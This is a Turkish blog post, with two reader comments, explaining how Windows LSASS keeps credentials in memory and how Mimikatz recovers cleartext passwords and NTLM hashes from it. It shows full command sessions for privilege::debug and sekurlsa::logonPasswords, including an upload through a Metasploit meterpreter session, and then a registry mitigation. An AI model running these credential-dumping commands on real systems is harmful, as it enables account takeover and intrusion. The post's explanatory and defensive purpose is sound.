Windows sistemlerde kullanıcı adı ve parolamızı girdiğimizde bunun doğrulanması için windows üzerinde varolan lsass.exe uygulaması (C:WindowsSystem32) devreye girer. LSASS (Local Security authority subsystem service) olarak bilinen bu windows uygulaması sistemlerdeki güvenlik politikasını uygulamaktan(kullanıcı oluşturma/değiştirme,kimlik doğrulama) sorumludur.
Mimikatz Nedir? Parolalar Nasıl Okunur?
Sisteme login işleminin başarılı yada başarısız olduğuna karar vermek için kullanıcıdan aldığı verileri SAM ve LDAP dosyasındaki veriler ile karşılaştırır. Karşılaştırma sonunda sonuç doğru (true) ise kullanıcıyı sisteme dahil ederken aynı anda kullanıcıya ait parola bilgisini (NTLM hash ve şifrelenmiş parola) memory de saklar.
İlgili memory alanındaki hash verisi ele geçirilip başka bir LSASS oturumuna enjekte edilirse kimlik doğrulama aşaması atlatılarak sisteme login olunabilir. Pass the hash yazılımlarının (WCE, Psexec v.s) çalışması bu mantıkla olmaktadır. Yukarıda parantez içerisinde birde şifrelenmiş parola (hash değil) ifadesi kullanmıştık. Bu geriye döndürülebilir parola bilgisini ifade etmektedir. Hash’den farklı bir durumdur. Hash fonksiyonlarına sokulan veri geriye döndürülümez şekilde tuz değerleri ile gerçekleştirilmektedir(windows için tuz değeri kullanılmaz). Fakat şifrelenmiş parola bilgisi kolaylıkla cleartext(şifresiz) hale dönüştürülebilir.
Windows üzerinde bu şekilde bir güvenlik yapısının tasarlanma sebebi ise SSO (Single sign-on) servislerinin kerberos ve NTLM gibi klasik kimlik doğrulama yöntemlerini desteklememesidir. Bunun aşılması için windows tarafında önce tspkg ve daha sonra güncellenip wdigest ismi verilen SSP(Security Support Provider) geliştirildi.
Bu geliştirilen SSP’ler ile parola bilgisinin şifreli olarak hafızada tutulması yoluna gidilmiş ve hemen hemen tüm windowslarda bu özellik ön tanımlı gelmektedir.
Mimikatz ismi verilen uygulama da windowsdaki bu durumu kötüye kullanarak sistemde olan kullanıcılara ait kullanıcı parolalarının hafızadaki şifreli halini elde edip şifreyi kırıp temiz olarak verir. Mimikatz x86 ve x64 mimariye sahip windows sistemlerde(XP,2003,2008,win 7, vista,2008 R2, Windows 8, Server 8) çalışabilmektedir.
Ele geçirilmiş bir windows sistem üzerinde aşağıdaki mimikatz komutlarıyla sistem üzerindeki kullanıcı parolaları sistem hafızasından alınabilir;
Not: Komut satırı sistem haklarında çalıştırılmış olmalı. Aksi halde yetkiniz yok hatası verecektir.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.C:>cd x64
C:x64>mimikatz.exe
mimikatz 1.0 x64 (RC) /* Traitement du Kiwi (Jan 23 2013 00:14:12) */
// http://blog.gentilkiwi.com/mimikatz
mimikatz # privilege::debug
Demande d’ACTIVATION du privilège : SeDebugPrivilege : OKmimikatz # sekurlsa::logonPasswords full
Authentification Id : 0;431139
Package d’authentification : NTLM
Utilisateur principal : F. Celal ERDIK
Domaine d’authentification : fcerdix
msv1_0
* Utilisateur : F. Celal ERDIK
* Domaine : fcerdix
* Hash LM : d1face09e47d03f8aad3b435b51404ee
* Hash NTLM : 7d029e287d0e7372ce126253b626f537
kerberos
* Utilisateur : F. Celal ERDIK
* Domaine : fcerdix
* Mot de passe : gizliPass
ssp
wdigest
* Utilisateur : F. Celal ERDIK
* Domaine : fcerdix
* Mot de passe : gizliPass
tspkg
* Utilisateur : F. Celal ERDIK
* Domaine : fcerdix
* Mot de passe : gizliPassmimikatz #
Mimikatz uygulaması metasploit üzerinden de çalıştırılabilir. Bunun için yapılması gereken meterpreter oturumunda aşağıdaki komutun verilmesi;
meterpreter > upload /root/mimikatz/mimikatz.exe C:
[*] uploading : /root/mimikatz/mimikatz.exe -> C:
[*] uploaded : /root/mimikatz/mimikatz.exe -> C:mimikatz.exe
meterpreter > upload /root/mimikatz/sekurlsa.dll C:
[*] uploading : /root/mimikatz/sekurlsa.dll -> C:
[*] uploaded : /root/mimikatz/sekurlsa.dll -> C:sekurlsa.dllmeterpreter > shell
Process 1204 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.C:>mimikatz.exe
mimikatz 1.0 x64 (RC) /* Traitement du Kiwi (Jan 23 2013 02:11:10) */
// http://blog.gentilkiwi.com/mimikatzmimikatz # privilege::debug
Demande d’ACTIVATION du privilège : SeDebugPrivilege : OKmimikatz # sekurlsa::logonPasswords full
Authentification Id : 0;431139
Package d’authentification : NTLM
Utilisateur principal : F. Celal ERDIK
Domaine d’authentification : fcerdix
msv1_0
* Utilisateur : F. Celal ERDIK
* Domaine : fcerdix
* Hash LM : d1face09e47d03f8aad3b435b51404ee
* Hash NTLM : 7d029e287d0e7372ce126253b626f537
kerberos
* Utilisateur : F. Celal ERDIK
* Domaine : fcerdix
* Mot de passe : gizliPass
ssp
wdigest
* Utilisateur : F. Celal ERDIK
* Domaine : fcerdix
* Mot de passe : gizliPass
tspkg
* Utilisateur : F. Celal ERDIK
* Domaine : fcerdix
* Mot de passe : gizliPass
Window’sun LsaUnprotectMemory fonksiyonu, lsasrv.dll dosyasındaki LsaEncryptMemory fonksiyonundan gelen taleplere güvenir. Mimikatz uygulamasının yaptığı ise bu güveni kötüye kullanmak. Bunun için sekurlsa.dll ismindeki kendi dll dosyasını LSASS prosesine enjekte eder ve ilgili fonksiyonu çalıştırıp parolaları decrypte eder.
Bu durumdan korunmak için windows sistemlerde regedit dosyasında küçük bir değişiklik yapmak gerekmektedir. HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa altındaki Security Packages değeri içerisindeki aşağıdak değerler silinmelidir.
Son durum aşağıdaki gibi olacaktır.
Not: Registerydeki ilgili parametreler belirtilen servislerin (SSO,domain v.s) çalışması için öntanımlı geldiğinden dolayı gerekliliği şart olabilir. Bu sebeple ilgili parametreler kaldırılmadan önce mutlaka kendi ortamınıza göre test yapmanız önerilir. Yaşanabilecek problemler okur sorumluluğundadır. İlgili ayar yapıldıktan sonra Mimikatz çalıştırıldığında aşağıdaki gibi parola bilgisi bulanamayacaktır;
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.C:>cd x64
C:x64>mimikatz.exe
mimikatz 1.0 x64 (RC) /* Traitement du Kiwi (Jan 23 2013 00:14:12) */
// http://blog.gentilkiwi.com/mimikatzmimikatz # privilege::debug
Demande d’ACTIVATION du privilège : SeDebugPrivilege : OK
mimikatz # sekurlsa::logonPasswords fullAuthentification Id : 0;447005
Package d’authentification : NTLM
Utilisateur principal : F. Celal ERDIK
Domaine d’authentification : fcerdix
msv1_0
* Utilisateur : F. Celal ERDIK
* Domaine : fcerdix
* Hash LM : d1face09e47d03f8aad3b435b51404ee
* Hash NTLM : 7d029e287d0e7372ce126253b626f537
sspAuthentification Id : 0;446974
Package d’authentification : NTLM
Utilisateur principal : F. Celal ERDIK
Domaine d’authentification : fcerdix
msv1_0
* Utilisateur : F. Celal ERDIK
* Domaine : fcerdix
* Hash LM : d1face09e47d03f8aad3b435b51404ee
* Hash NTLM : 7d029e287d0e7372ce126253b626f537
sspAuthentification Id : 0;997
Package d’authentification : Negotiate
Utilisateur principal : LOCAL SERVICE
Domaine d’authentification : NT AUTHORITY
msv1_0 n.s. (Credentials KO)
sspAuthentification Id : 0;996
Package d’authentification : Negotiate
Utilisateur principal : FCERDIX$
Domaine d’authentification : WORKGROUP
msv1_0 n.s. (Credentials KO)
sspAuthentification Id : 0;45592
Package d’authentification : NTLM
Utilisateur principal :
Domaine d’authentification :
msv1_0 n.s. (Credentials KO)
sspAuthentification Id : 0;999
Package d’authentification : NTLM
Utilisateur principal : FCERDIX$
Domaine d’authentification : WORKGROUP
msv1_0 n.s. (Credentials KO)
sspmimikatz #
Yazar: F. Celal Erdik
2 Yorum
Selamlar,
1. burada ifade ettiğimiz hash tanımı windows için değil, genel olarak hash ifade etmek içindi. cümle bütünlüğü sağlanmamış sanırım. windowsda hash değeri için tuz kullanılmaz.
2.windows tspkg ve wdigest gibi geliştirmeleri SSO'nun ihtiyacına binayen yaptığından dolayı sorun çıkma ihtimali mevcut.Aynı şekilde domain de de problem çıkma ihtimaline karşın test ortamınızda test etmenizde fayda var.
Birer dipnot düştüm konularla ilgili.
Teşekkürler
Merhaba,
2 yorumum olacak:
1) "Hash fonksiyonlarına sokulan veri geriye döndürülümez şekilde tuz değerleri ile gerçekleştirilmektedir." diye bir ifade var. Windows'ta kullanıcıların parolaları tuzlanmıyor olması lazım. Kontrol eder misiniz.
2) TsPkg etkinsizleştirilmesi durumunda bir sunucuda SSO sağlanmasında veya kerberosu kaldırınca domainde kimlik dogrulamada sorun çıkmakta mıdır.